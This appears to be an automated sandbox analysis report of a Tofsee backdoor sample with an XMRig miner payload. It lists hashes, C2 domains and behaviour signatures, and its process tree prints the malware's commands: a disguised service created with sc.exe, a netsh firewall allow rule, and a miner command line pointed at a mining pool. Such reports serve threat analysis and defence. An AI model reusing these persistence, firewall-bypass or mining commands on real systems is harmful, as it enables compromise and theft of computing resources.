Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    10/10/2023, 20:26

General

  • Target

    file.exe

  • Size

    220KB

  • MD5

    884af2d7cc3128dd1e7e3e19b184f7fc

  • SHA1

    ad24f495da23ba63bad8e54574510a9c60edf6ae

  • SHA256

    312f76520d3afd443605167937eaf441f126036ea3b57902fd3d9b22cc210681

  • SHA512

    8e6883897ae3212d3fa4424b0c8c955208a83f084ea3bb9536a42ab19834c7a2f541b01ae70106dd715335089ef93085dfb62841d881820d8b43e115f59cd82f

  • SSDEEP

    3072:8DORczDkzzLwcFIvAR9vryrhBLM6cV/gS5/4VMJ7Fg3:YDmzLOAR9jyrhtje/LGsJ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2020
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vynconvp\
      2⤵
        PID:2324
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\szcxwqqk.exe" C:\Windows\SysWOW64\vynconvp\
        2⤵
          PID:2036
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vynconvp binPath= "C:\Windows\SysWOW64\vynconvp\szcxwqqk.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2312
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description vynconvp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2724
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start vynconvp
          2⤵
          • Launches sc.exe
          PID:2604
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2512
      • C:\Windows\SysWOW64\vynconvp\szcxwqqk.exe
        C:\Windows\SysWOW64\vynconvp\szcxwqqk.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2660
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2612
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2808

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\szcxwqqk.exe

              Filesize

              14.2MB

              MD5

              2426f4f3bd7a2dfb0a066020c5fe2677

              SHA1

              e1291fd2d6fb75cc95b791781ebd027ea53ed3a4

              SHA256

              0211d5651f812c1f1f4adc4db31ef58d2438d1369d1421c57c39cab03bee9fcf

              SHA512

              fd442afc234eec2e44152440d5b7781913c4d0357345002485d400fe7a2831b5119a5032c0a434abce9f0dcbd6270737c70251a763c60e2f968f52a063ee98f6

            • C:\Windows\SysWOW64\vynconvp\szcxwqqk.exe

              Filesize

              14.2MB

              MD5

              2426f4f3bd7a2dfb0a066020c5fe2677

              SHA1

              e1291fd2d6fb75cc95b791781ebd027ea53ed3a4

              SHA256

              0211d5651f812c1f1f4adc4db31ef58d2438d1369d1421c57c39cab03bee9fcf

              SHA512

              fd442afc234eec2e44152440d5b7781913c4d0357345002485d400fe7a2831b5119a5032c0a434abce9f0dcbd6270737c70251a763c60e2f968f52a063ee98f6

            • memory/2020-0-0x0000000000220000-0x0000000000235000-memory.dmp

              Filesize

              84KB

            • memory/2020-1-0x0000000000240000-0x0000000000253000-memory.dmp

              Filesize

              76KB

            • memory/2020-2-0x0000000000400000-0x0000000000444000-memory.dmp

              Filesize

              272KB

            • memory/2020-6-0x0000000000240000-0x0000000000253000-memory.dmp

              Filesize

              76KB

            • memory/2020-7-0x0000000000220000-0x0000000000235000-memory.dmp

              Filesize

              84KB

            • memory/2020-5-0x0000000000400000-0x0000000000444000-memory.dmp

              Filesize

              272KB

            • memory/2612-44-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-53-0x0000000005910000-0x0000000005D1B000-memory.dmp

              Filesize

              4.0MB

            • memory/2612-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2612-18-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2612-57-0x00000000001E0000-0x00000000001E7000-memory.dmp

              Filesize

              28KB

            • memory/2612-56-0x0000000005910000-0x0000000005D1B000-memory.dmp

              Filesize

              4.0MB

            • memory/2612-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2612-21-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2612-22-0x0000000001890000-0x0000000001A9F000-memory.dmp

              Filesize

              2.1MB

            • memory/2612-25-0x0000000001890000-0x0000000001A9F000-memory.dmp

              Filesize

              2.1MB

            • memory/2612-26-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

            • memory/2612-29-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-33-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-32-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-35-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-43-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-14-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2612-42-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-48-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-52-0x00000000001D0000-0x00000000001D5000-memory.dmp

              Filesize

              20KB

            • memory/2612-49-0x00000000001D0000-0x00000000001D5000-memory.dmp

              Filesize

              20KB

            • memory/2612-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2612-47-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-46-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-45-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-41-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-40-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-39-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-38-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-37-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-36-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2612-34-0x0000000000180000-0x0000000000190000-memory.dmp

              Filesize

              64KB

            • memory/2660-10-0x0000000000400000-0x0000000000444000-memory.dmp

              Filesize

              272KB

            • memory/2660-9-0x0000000000390000-0x00000000003A3000-memory.dmp

              Filesize

              76KB

            • memory/2660-16-0x0000000000400000-0x0000000000444000-memory.dmp

              Filesize

              272KB

            • memory/2808-61-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2808-63-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2808-71-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2808-72-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2808-73-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2808-74-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2808-75-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB

            • memory/2808-76-0x0000000000200000-0x00000000002F1000-memory.dmp

              Filesize

              964KB